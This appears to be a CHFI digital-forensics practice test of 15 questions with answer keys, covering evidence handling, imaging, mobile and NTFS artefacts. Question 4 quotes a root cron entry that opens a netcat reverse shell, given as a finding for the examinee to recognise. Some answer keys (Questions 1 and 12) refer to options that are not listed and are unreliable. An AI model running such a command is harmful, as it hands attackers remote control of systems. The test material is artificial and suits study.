CHFI Practice Test 17 — 15 Questions

Question 1

A forensic examiner is analyzing an Android device that was factory reset. Which TWO artefacts or methods could the examiner use to potentially recover or identify data from before the reset?

Accepted Answer

Analyzing Google account artefacts synced to the cloud. Option D is correct because data synced to the user's Google account (e.g., Gmail, Contacts, Calendar, Drive, Photos, and Android backups) resides in Google's cloud infrastructure and is not erased by a local factory reset, so the examiner can obtain pre-reset artefacts via the account or legal process. Option E is correct because a physical extraction tool such as Cellebrite UFED reads the underlying flash memory (often via ISP, JTAG, or chip-off) and can recover residual data, including remnants in unallocated space that survive a factory reset if not securely wiped. Option A does not belong because ADB logical extraction only exposes data accessible to the running OS or a debug-enabled device, and a factory reset removes user data and typically disables USB debugging. Option B does not belong because ADB backup cannot recover deleted apps and requires debugging authorization that a reset device will not grant. Option C does not belong because manual UI examination only shows the post-reset state and cannot surface pre-reset data.

Answer

Performing a logical extraction via ADB

Answer

Recovering deleted apps via ADB backup

Answer

Examining the device manually through the UI

Question 2

An organization receives a legal hold notice regarding a pending lawsuit. The IT department is instructed to preserve all relevant electronically stored information (ESI). Which of the following actions must be taken FIRST?

Accepted Answer

Immediately suspend any automated data deletion policies. When a legal hold notice is issued, the first priority is to preserve all potentially relevant ESI by immediately suspending any automated data deletion policies (e.g., retention schedules, auto-archiving, or purge scripts). This prevents spoliation of evidence before any collection or analysis begins. Failure to do so could result in sanctions for destroying discoverable data.

Answer

Perform a full forensic analysis of all systems

Answer

Notify all employees to delete personal files

Answer

Delete all emails older than 30 days to reduce storage

Question 3

You are a forensic investigator responding to a security incident at a medium-sized company. The incident involved an attacker gaining unauthorized access to a Windows Server 2019 system. The server was taken offline by the IT team immediately after detection. Your task is to acquire forensic evidence from the server's hard drive. The server has a single 500 GB NTFS partition. You have a forensic workstation with a write blocker, a SATA-to-USB adapter, and a forensic imaging tool that supports both dd and EWF (E01) formats. The server is still physically in the server room, and the IT team has powered it off. You need to create a forensic image that preserves the integrity of the evidence and allows for efficient analysis. Which of the following is the most appropriate course of action?

Accepted Answer

Remove the hard drive, connect it via a write blocker to the forensic workstation, and create an EWF (E01) image stored locally on the forensic workstation's internal drive.. It follows best practices for forensic acquisition: removing the hard drive and connecting it via a write blocker ensures that no data is altered during imaging. Using EWF (E01) format provides compression, metadata, and integrity checks (e.g., CRC32, MD5, SHA-1), which are essential for efficient analysis and evidence preservation. Storing the image locally on the forensic workstation avoids network latency and potential data corruption.

Answer

Boot the server using a forensic live CD, connect an external USB drive to the server, and use 'dd' to create a raw image on the external drive.

Answer

Use the server's built-in backup utility to create a system state backup and copy it to a network share.

Answer

Remove the hard drive, connect it via a write blocker to the forensic workstation, and then use 'dd' over a network connection to send the image to a remote server.

Question 4

An incident responder finds the following entry in a Linux cron job: "*/5 * * * * root nc -e /bin/sh 10.0.0.5 4444". What is the purpose of this cron job?

Accepted Answer

Establish a reverse shell back to the attacker every 5 minutes. The cron job runs every 5 minutes (as specified by '*/5') and executes 'nc -e /bin/sh 10.0.0.5 4444'. The '-e' flag in netcat (nc) binds /bin/sh to the connection, meaning when the command runs, it connects to 10.0.0.5 on port 4444 and provides a shell to the remote listener. This is a classic reverse shell technique, allowing an attacker to gain interactive command execution on the compromised Linux host.

Answer

Port scan 10.0.0.5 every 5 minutes

Answer

Log system activity to a remote server

Answer

Download malicious software from 10.0.0.5

Question 5

A forensic analyst is testifying in court as an expert witness. What is the PRIMARY role of an expert witness in digital forensics?

Accepted Answer

To offer an opinion on the technical facts and assist the trier of fact.. The primary role of an expert witness in digital forensics is to provide an impartial opinion on technical facts, helping the trier of fact (judge or jury) understand complex digital evidence. Unlike a lay witness, an expert is permitted to offer interpretations and conclusions based on their specialized knowledge, as defined under Federal Rule of Evidence 702. This opinion must be based on sufficient facts or data, reliable principles and methods, and a reliable application of those methods to the case.

Answer

To represent the interests of the party that hired them.

Answer

To determine the guilt or innocence of the defendant.

Answer

To present factual findings only, without interpretation.

Question 6

Which type of evidence is a witness's statement that they saw someone log into a computer?

Accepted Answer

Direct evidence. Direct evidence is testimony or other proof that directly proves a fact without requiring any inference. A witness's statement that they saw someone log into a computer is direct evidence because it is based on the witness's firsthand observation of the act itself, not on any deduction or assumption. In digital forensics, direct evidence can include eyewitness accounts of specific actions on a system, such as entering credentials or accessing files.

Answer

Hearsay evidence

Answer

Best evidence

Answer

Circumstantial evidence

Question 7

In mobile forensics, which acquisition method preserves the highest level of data integrity and captures the most data from an iOS device?

Accepted Answer

Physical acquisition. Physical acquisition is correct because it creates a bit-for-bit copy of the entire flash storage, including unallocated space, deleted files, and system partitions. This method bypasses the iOS file system abstraction, preserving the highest data integrity and capturing all recoverable data, unlike higher-level acquisitions that only retrieve accessible files.

Answer

File system acquisition

Answer

Logical acquisition

Answer

Manual acquisition

Question 8

During a forensic analysis of an NTFS volume, an investigator finds a file that appears to be hidden. Which NTFS feature allows data to be stored in a file without affecting the file's visible size in the directory listing?

Accepted Answer

Alternate Data Streams (ADS). Alternate Data Streams (ADS) allow additional data to be attached to a file on an NTFS volume without altering the file's main data stream or its visible size in directory listings. This is possible because NTFS organizes file data into multiple streams; the default $DATA stream holds the visible content, while additional named streams can store hidden data. Tools like `dir` or Windows Explorer only report the size of the unnamed $DATA stream, making ADS an effective method for concealing data.

Answer

Volume Shadow Copy

Answer

USN Journal

Answer

Master File Table ($MFT)

Question 9

You are a forensic analyst investigating a suspected malware infection on a Windows 10 workstation. The user reports that the system has been slow and that unexpected pop-ups appear. You have acquired a memory dump and a disk image. During analysis, you find a suspicious process named 'svch0st.exe' running with PID 4567. The process has loaded several DLLs, including 'wininet.dll' and 'ws2_32.dll'. You also find that the process has an active TCP connection to an external IP address 203.0.113.5 on port 4444. In the disk image, you find an executable file at C:\Users\Public\svch0st.exe with a creation date that matches the start of symptoms. The file's hash is not in any known malware database. You decide to perform dynamic analysis by running the file in a sandbox. However, the sandbox environment has no network connectivity. The executable runs but does not exhibit any malicious behavior. What should you do next to determine if the file is malicious?

Accepted Answer

Re-run the sample in a sandbox with simulated network connectivity or a controlled network to observe C2 communication. The sandbox lacked network connectivity, which prevented the malware from reaching its command-and-control (C2) server. Many malware samples, especially those using HTTP or raw TCP for C2, will remain dormant or exhibit no malicious behavior when they cannot connect to the external IP. By providing simulated or controlled network connectivity, you can trigger the malicious payload and observe the actual C2 communication, confirming the file's intent.

Answer

Conduct a thorough static analysis using a disassembler and debugger to understand the code

Answer

Delete the suspicious file and run a full antivirus scan on the system

Answer

Perform a forensic imaging of the system again and compare with the original image

Question 10

A security analyst notices that a log file on a Linux server shows repeated failed SSH login attempts from an external IP address, but no successful login from that IP. However, the /var/log/auth.log file has been recently truncated. Which type of evidence is the truncated log file?

Accepted Answer

Circumstantial evidence. The truncated log file is circumstantial evidence. While the truncation itself is a directly observable fact, the conclusion that someone intentionally altered or destroyed the log to conceal failed SSH attempts requires inference. Other explanations (e.g., log rotation, system error) are possible. Direct evidence proves a fact without inference, such as an eyewitness testimony or a video recording of the tampering. Therefore, the truncated log file is circumstantial evidence.

Answer

Hearsay evidence

Answer

Best evidence

Answer

Direct evidence

Question 11

During an investigation, an analyst recovers a file from unallocated space that contains fragments of a deleted document. The file size is 512 bytes, but the cluster size of the volume is 4096 bytes. What is the term for the unused bytes between the end of the file and the end of the last cluster?

Accepted Answer

File slack. File slack refers to the unused bytes between the end of a file and the end of the last cluster allocated to that file. In this scenario, the file is 512 bytes but resides in a 4096-byte cluster, leaving 3584 bytes of slack space. This area can contain remnants of previously deleted data or metadata, making it a critical forensic artifact.

Answer

Volume slack

Answer

Drive slack

Answer

RAM slack

Question 12

Which TWO Windows Event IDs are associated with successful logon or explicit credential usage? (Choose TWO.)

Accepted Answer

4648. Event ID 4624 [CORRECT] is logged in the Windows Security log when a logon attempt succeeds, recording details such as logon type, account name, and authentication package, so it directly matches the 'successful logon' part of the question. Event ID 4648 [CORRECT] is generated when a process attempts an explicit logon using credentials other than those of the current logged-on user (for example, RunAs or passing alternate credentials), which matches the 'explicit credential usage' part. By contrast, 4720 is logged when a new user account is created, 4625 records a failed logon attempt, and 7045 is a System log event indicating a new service was installed — none of these represent a successful logon or explicit credential use.

Answer

4720

Answer

4625

Answer

7045

Question 13

An incident responder analyzes a compromised system and finds evidence of timestomping: the Modified timestamp of a malicious DLL is earlier than the Creation timestamp. Additionally, the DLL is encrypted with an XOR key. Which anti-forensic techniques are being employed?

Accepted Answer

Timestomping and obfuscation. Timestomping is confirmed because the Modified timestamp (which tracks file content changes) is earlier than the Creation timestamp, which is logically impossible under normal file system operations—this indicates an attacker deliberately set the Modified timestamp backward to evade timeline analysis. The XOR encryption of the DLL is a form of obfuscation, a technique used to hide the true content of the file from static analysis tools and signature-based detection. Together, these two actions represent the anti-forensic techniques of timestomping and obfuscation.

Answer

Packer and anti-debugging

Answer

Rootkit installation and process hiding

Answer

Log wiping and data hiding

Question 14

An email forensic analyst receives a suspicious email and wants to trace its origin. Which email header field provides the most reliable information about the IP address of the sending SMTP server?

Accepted Answer

Received. The 'Received' header is the most reliable source for tracing the origin of an email because each SMTP server that handles the message adds a new 'Received' header at the top, recording the IP address of the sending server (from the HELO/EHLO handshake) and the receiving server. The bottommost 'Received' header typically contains the IP address of the original sending SMTP server, as it is added by the first receiving MTA. This field is standardized in RFC 5321 and is the primary forensic artifact for email source identification.

Answer

Return-Path

Answer

DKIM-Signature

Answer

X-Originating-IP

Question 15

During a forensic investigation, the analyst needs to verify the integrity of a forensic image. The analyst originally computed MD5 and SHA-1 hashes of the source drive. Which action BEST ensures the image has not been altered?

Accepted Answer

Recompute MD5 and SHA-1 hashes of the image and compare with the original. Recomputing the MD5 and SHA-1 hashes of the forensic image and comparing them to the original values is the definitive method to verify integrity. Hash functions produce a fixed-size digest that changes completely if even a single bit of the image is altered, providing cryptographic assurance that the image is an exact bit-for-bit copy of the source drive. This process directly validates data integrity, which is a core requirement in forensic acquisition.

Answer

Check that the image was created using a write blocker

Answer

Compare the file size of the image with the original drive's capacity

Answer

Open the image in FTK Imager and browse a few files